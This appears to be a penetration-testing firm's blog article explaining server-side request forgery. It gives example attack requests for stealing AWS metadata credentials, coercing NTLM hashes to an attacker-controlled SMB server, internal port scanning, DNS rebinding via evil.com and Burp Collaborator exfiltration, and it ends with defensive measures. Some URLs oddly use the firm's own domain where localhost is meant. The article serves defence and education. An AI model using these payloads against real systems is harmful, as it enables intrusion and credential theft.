Insights

Trust in Applications is a Luxury – Understanding SSRF Threats

Author:

Przemyslaw Mazurek

In today’s world of web applications, where microservices, APIs, and external integrations are the norm, trusting input data is becoming increasingly risky. One of the less obvious, but highly dangerous, threats is SSRF – Server-Side Request Forgery. This type of vulnerability can transform a seemingly innocent endpoint into a gateway to your internal infrastructure.

What is SSRF?

SSRF involves coercing a web application’s server to send an HTTP request to a resource specified by an attacker. Instead of communicating with an external service, the application might unwittingly connect to a local host, another internal service, or even cloud services like the AWS Metadata Service.

Example of a vulnerable endpoint:
Imagine a scheduling application that allows users to integrate an external calendar by providing a webhook URL.

POST /calendar/add_webhook HTTP/1.1
Host: my-scheduling-app.com
Content-Type: application/json

{
  "webhook_url": "https://external-calendar.com/events/callback"
}

By substituting a malicious internal address in the webhook_url parameter, such as https://pentest.co.uk/admin or http://169.254.169.254/latest/meta-data/, an attacker could potentially gain access to internal panels, APIs, or sensitive systems that are not publicly accessible.

How We Detect SSRF in Penetration Tests

During penetration tests, we look for potential entry points:

URL Parameters: We search for parameters like url, link, webhook, callback, continue, image, next, etc., that might accept URLs.
Local Address Attempts: We test the application by substituting addresses such as 127.0.0.1, localhost, 169.254.169.254 (for AWS environments).
Tool Usage: We use specialised tools such as Burp Collaborator or Interactsh for detection and testing of vulnerabilities.
Blind SSRF: We look for signs of blind SSRF using DNS rebinding or by analysing delayed responses (timeouts)

Real-World SSRF Dangers

Unlike classic vulnerabilities such as XSS or SQLi, SSRF often exploits an application’s trust in itself or other components within the same network. In the following we look at real-world scenarios we have discovered during penetration tests and the consequences of each.

1. Access to AWS Metadata Service (169.254.169.254) and Theft of Temporary IAM Tokens

One of the most impactful exploits of SSRF is accessing the AWS Metadata Service, available at the IP address 169.254.169.254. This service provides information about an EC2 instance, including temporary IAM credentials, which can then be used to gain access to other AWS resources.

Scenario: A web application has a feature that allows a user to provide an image URL for processing, e.g., /image_processor?url=.

SSRF Request:
Let’s assume an attacker knows about the SSRF vulnerability and sends the following request to the application server:

GET /image_processor?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1 
Host: vulnerable-app.com

Explanation: The application server is compelled to send an HTTP request to the internal IP address 169.254.169.254, specifically to the path /latest/meta-data/iam/security-credentials/. This path returns a list of available IAM roles assigned to the EC2 instance.

Example Server Response (to the attacker’s request):
If the attack is successful, the server will return a response to the attacker that originates from the AWS Metadata Service. This will contain the names of the IAM roles:

HTTP/1.1 200 OK 
Content-Type: text/plain 
Content-Length: 15 

ec2-full-access

Subsequent SSRF Request (to obtain tokens): Knowing the role name (e.g., ec2-full-access), the attacker sends another SSRF request to obtain the temporary credentials:

GET /image_processor?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-full-access HTTP/1.1 
Host: vulnerable-app.com

Example Server Response (to the attacker’s request): This time, the response contains temporary AccessKeyId, SecretAccessKey, and Token, which the attacker can use to gain access to the AWS account:

HTTP/1.1 200 OK 
Content-Type: application/json 
Content-Length: 512 

{ "Code" : "Success", 
"LastUpdated" : "2025-05-29T12:00:00Z", 
"Type" : "AWS-HMAC", 
"AccessKeyId" : "ASIAAA…", 
"SecretAccessKey" : "wJalrXUtnF…YEXAMPLEKEY", 
"Token" : "AQoDYXdzEGwa8G...EXAMPLETOKEN", 
"Expiration" : "2025-05-29T18:00:00Z" }

Consequences: With these temporary credentials, the attacker can perform operations on the AWS account with the permissions assigned to the ec2-full-access role, potentially leading to data theft, resource modification, or even a complete compromise of the cloud environment.

2. NTLM Hash Coercion (Forcing NTLM Hashes)

In Windows environments, SSRF can be leveraged to coerce NTLM authentication from a vulnerable server, leading to the leakage of NTLMv2 hashes. An attacker can then attempt to crack these hashes (e.g., using brute-force or dictionary attacks) to obtain passwords or use them in a Pass-the-Hash attack.

Scenario: A web application running on a Windows server has a vulnerable SSRF endpoint that allows referencing resources using UNC (Universal Naming Convention) paths, e.g., file://.

SSRF Request:
The attacker, aware of the vulnerability, sends a request to the application server, pointing to an attacker-controlled SMB/WebDAV server (e.g., using a tool like Responder.py or Impacket):

GET /image_processor?url=file://attacker-controlled-smb-server/share/image.png HTTP/1.1
Host: vulnerable-app.com

Explanation:

The application server (running on Windows), attempting to process the request for the resource file://attacker-controlled-smb-server/share/image.png, initiates an SMB connection to the attacker-controlled server (e.g., attacker-controlled-smb-server).
During the attempt to establish the SMB (or WebDAV) connection, the Windows server automatically sends its NTLMv2 hash for authentication. This occurs even before the application server attempts to download the supposed image.png file.
The attacker-controlled SMB/WebDAV server (e.g., Responder.py) intercepts this NTLMv2 hash.

Example output from Responder.py (on the attacker’s server):

[*] Poisoner initialized for Ethernet address 00-11-22-33-44-55
...
[SMB] NTLMv2-SSP Hash: Administrator::VULNERABLE-SERVER:xxxxxx:yyyyyyyy:zzzzzz

Consequences:
The attacker obtains the NTLMv2 hash of the account under which the application service is running. This hash can then be subjected to offline cracking (e.g., using Hashcat or John the Ripper) to recover the password, or used in Pass-the-Hash attacks to authenticate to other services within the network that the account has access to. This can lead to privilege escalation and lateral movement within the network.

3. Internal Port Scanning, Allowing Service Enumeration

An SSRF attack can also be used for port scanning on internal hosts. This allows an attacker to discover what services are running on machines within the network, even if these services are not publicly accessible.

Scenario: A web application has a logging feature that allows a URL to be provided for submitting logs, e.g., /log_event?destination=.

SSRF Request (scanning port 80): The attacker attempts to check if any service is running on port 80 on localhost (i.e., on the same machine where the vulnerable application is running).

GET /log_event?destination=https://pentest.co.uk:80 HTTP/1.1 
Host: vulnerable-app.com

Explanation: The server attempts to establish an HTTP connection to localhost on port 80.

Example Server Responses (to the attacker’s request):

Open Port (service running): If an HTTP server is running on port 80, the application server might return a 200 OK status code or another HTTP code, indicating a successful connection and retrieval of content (e.g., a web server’s welcome page).

HTTP/1.1 200 OK 
Content-Type: text/html 
Content-Length: 123 

<!DOCTYPE html> 
<html> 
<head><title>Welcome to Nginx!</title></head> 
<body> 
... 
</body> 
</html>

Closed Port (service not running): If the port is closed or no service is listening on it, the application server will return a connection error (e.g., Connection refused or Timeout), which might be passed back to the attacker in the response or logs.

HTTP/1.1 500 Internal Server Error 
Content-Type: text/plain 
Content-Length: 45 

Error: Could not connect to localhost:80.

SSRF Request (scanning port 8080 on another internal host): The attacker attempts to scan another IP address in the internal network (e.g., 192.168.1.100) on port 8080, where another application or service might be running.

GET /log_event?destination=http://192.168.1.100:8080 HTTP/1.1 
Host: vulnerable-app.com

Consequences: By iteratively changing IP addresses and port numbers, an attacker can create a map of the internal network, identifying active hosts and running services, which is valuable information for planning further attacks.

4. Acting as a Proxy to Inaccessible Public Resources (e.g., Admin Panels)

SSRF allows an attacker to use a vulnerable application as a proxy to access resources that are normally inaccessible from the outside. This can include administrative panels, databases, or other internal systems.

Scenario: An application has a feature that generates an image thumbnail from a given URL, e.g., /thumbnail?image_url=. We assume that an internal server management panel is running on localhost on port 8000 and is only accessible from the server itself. This panel includes a diagnostic page with a “Restart Server” button, activated by a simple GET request.

SSRF Request (accessing the administrative panel):
The attacker sends a request to the vulnerable endpoint, targeting the internal server management panel’s restart functionality:

GET /thumbnail?image_url=https://pentest.co.uk:8000/server_status/restart HTTP/1.1 
Host: vulnerable-app.com

Explanation: The application server processes the request and performs an internal HTTP GET request to https://pentest.co.uk:8000/server_status/restart. If this URL triggers a server restart without requiring complex authentication or a POST request, the action is executed.

Example Server Response (to the attacker’s request): If the internal panel’s restart function is accessible via GET, the attacker might receive a confirmation message or a redirection indicating the action was attempted.

HTTP/1.1 200 OK 
Content-Type: text/html 
Content-Length: 150 

<!DOCTYPE html> 
<html> <head><title>Server Management</title></head> 
<body> 
<h1>Server Restart Initiated</h1> 
<p>The server has received the restart command and is now rebooting.</p> 
</body> 
</html>

Consequences: By simply sending a manipulated URL, the attacker could force a restart or shutdown of internal services, disrupt operations, or trigger other sensitive actions accessible via GET requests on internal panels. This can lead to severe service unavailability, data corruption, or further exploitation opportunities, showcasing a more immediate and impactful form of compromise than merely viewing a login page.

5. Data Exfiltration and Detecting Blind SSRF (with DNS Rebinding, Burp Collaborator/Interactsh)

In Blind SSRF attacks, the attacker doesn’t receive a direct response from the internal resource. Instead, they must rely on other methods to confirm the SSRF attack was successful and to exfiltrate data. Tools like Burp Collaborator and Interactsh are incredibly helpful for this, while techniques such as DNS Rebinding allow for bypassing filters.

5.1 DNS Rebinding

Scenario: A web application makes an HTTP request to a user-provided URL but does not directly return the response. The attacker controls a DNS server.

Mechanism:

The attacker configures a domain (e.g., evil.com) that initially points to their controlled server (e.g., 1.2.3.4).
The application server resolves evil.com to 1.2.3.4 and makes a request to it. At this point, the attacker logs the connection, confirming that SSRF is possible.
After a short period (e.g., after the first request), the attacker changes the DNS record for evil.com to point to an internal IP address, such as 127.0.0.1 or 192.168.1.10.
When the application server resolves evil.com again (e.g., on a subsequent request), it will now receive the internal IP address. This forces the application server to make a request to the internal resource.

SSRF Request:

GET /process_data?url=http://evil.com/secret_data HTTP/1.1
Host: vulnerable-app.com

Explanation: The application server sends a request to http://evil.com/secret_data. The first time, evil.com will resolve to the attacker’s server. After the DNS record change, subsequent requests to evil.com will be directed to the internal IP address.

Consequences: Even if the attacker doesn’t see the response directly, the success of the attack can be confirmed through traffic patterns on their controlled DNS server or the server receiving the data. If data from the internal resource contains unique identifiers, it can be “filtered out” via DNS or protocols allowing data leakage.

5.2 Burp Collaborator / Interactsh

Tools like Burp Collaborator (part of Burp Suite) or Interactsh (an open-source tool) are ideal for detecting and exfiltrating data in Blind SSRF scenarios. They generate unique, publicly accessible domains that listen on various protocols (HTTP, DNS, SMTP, etc.).

Scenario: A web application has a webhook feature that makes a request to a provided URL but does not return a response to the attacker’s request.

SSRF Request (using Burp Collaborator): The attacker generates a unique Collaborator domain (e.g., xyz.burpcollaborator.net) and uses it in the vulnerable parameter:

GET /webhook?callback_url=http://xyz.burpcollaborator.net/data_exfiltration HTTP/1.1
Host: vulnerable-app.com

Explanation: The application server, when processing the SSRF request, sends an HTTP request to http://xyz.burpcollaborator.net/data_exfiltration. The Burp Collaborator (or Interactsh) server logs this incoming request.

Attack Confirmation: The attacker refreshes their Collaborator (or Interactsh) panel and sees the logged HTTP request.

Example Entry in Burp Collaborator:

HTTP Request received from [IP_ADDRESS_OF_VULNERABLE_SERVER]
GET /data_exfiltration HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: [User-Agent_of_vulnerable_app]
...

Consequences: Although the attacker doesn’t see a direct response, the presence of the request on the Collaborator (or Interactsh) server confirms the SSRF vulnerability. Additionally, by appropriately manipulating the URL or headers, the attacker can “smuggle” confidential information out of internal systems, allowing for slow but effective data exfiltration.

How to Protect Yourself?

Effective protection against SSRF requires a layered approach:

Validation and Whitelisting of Target Addresses: The most important rule. Instead of a blacklist (blocking known bad addresses), use a whitelist, allowing connections only to strictly specified, trusted domains and IP addresses.
Blocking Outbound Connections to Local and Internal Addresses: At the firewall or network rules level, block all outbound connections from the application server to private IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.169.254).
Prevent Following Redirects: Ensure that the functionality processing user-supplied URLs cannot automatically follow HTTP redirects. Attackers can use redirects to bypass basic URL validation and point the server to internal resources after an initial validated external URL.
Verify TLS Certificates: Always ensure that the application verifies TLS/SSL certificates for https:// connections. Failing to do so can allow attackers to intercept or tamper with internal communications via rogue certificates.
Support Only Required Protocols: Explicitly limit the supported protocols to only those absolutely necessary, typically http:// and https://. Disable support for other schemes like file://, ftp://, gopher://, dict://, etc., which are frequently abused in SSRF attacks.
Using IMDSv2 in AWS: In AWS environments, implementing Instance Metadata Service Version 2 (IMDSv2) requires additional authorisation for metadata, significantly complicating SSRF attacks against this service.
Protect SSRF-Vulnerable Functionality with Authentication: If possible, place functionality susceptible to SSRF behind an authentication mechanism. This restricts the pool of potential attackers to only those with valid credentials, reducing the overall attack surface.
Consider Anti-Automation Defenses: Implement anti-automation measures such as rate limiting or CAPTCHA challenges on endpoints that process external URLs. This can make it significantly more challenging for attackers to perform large-scale port scans or iterate through internal resources.
Monitoring Server Logs: Regularly monitoring server logs for unusual HTTP requests originating from the application can help in quickly detecting SSRF attack attempts.
Network Segmentation and Access Restriction: Segmenting the internal network and restricting access between system components reduces the scope of a potential SSRF attack. Even if an attacker exploits SSRF, their ability to move within the network will be limited.

Summary

SSRF is an inconspicuous but highly dangerous vulnerability that can lead to serious security breaches. It is characterised by being difficult to detect automatically, and its consequences can include the compromise of an entire infrastructure. Therefore, during penetration tests, we pay particular attention to functions that allow the server to make connections based on user input.

Trust in web applications is a luxury you cannot afford. Implementing robust security practices, including detailed input validation and stringent control over network connections, is crucial for protecting your infrastructure.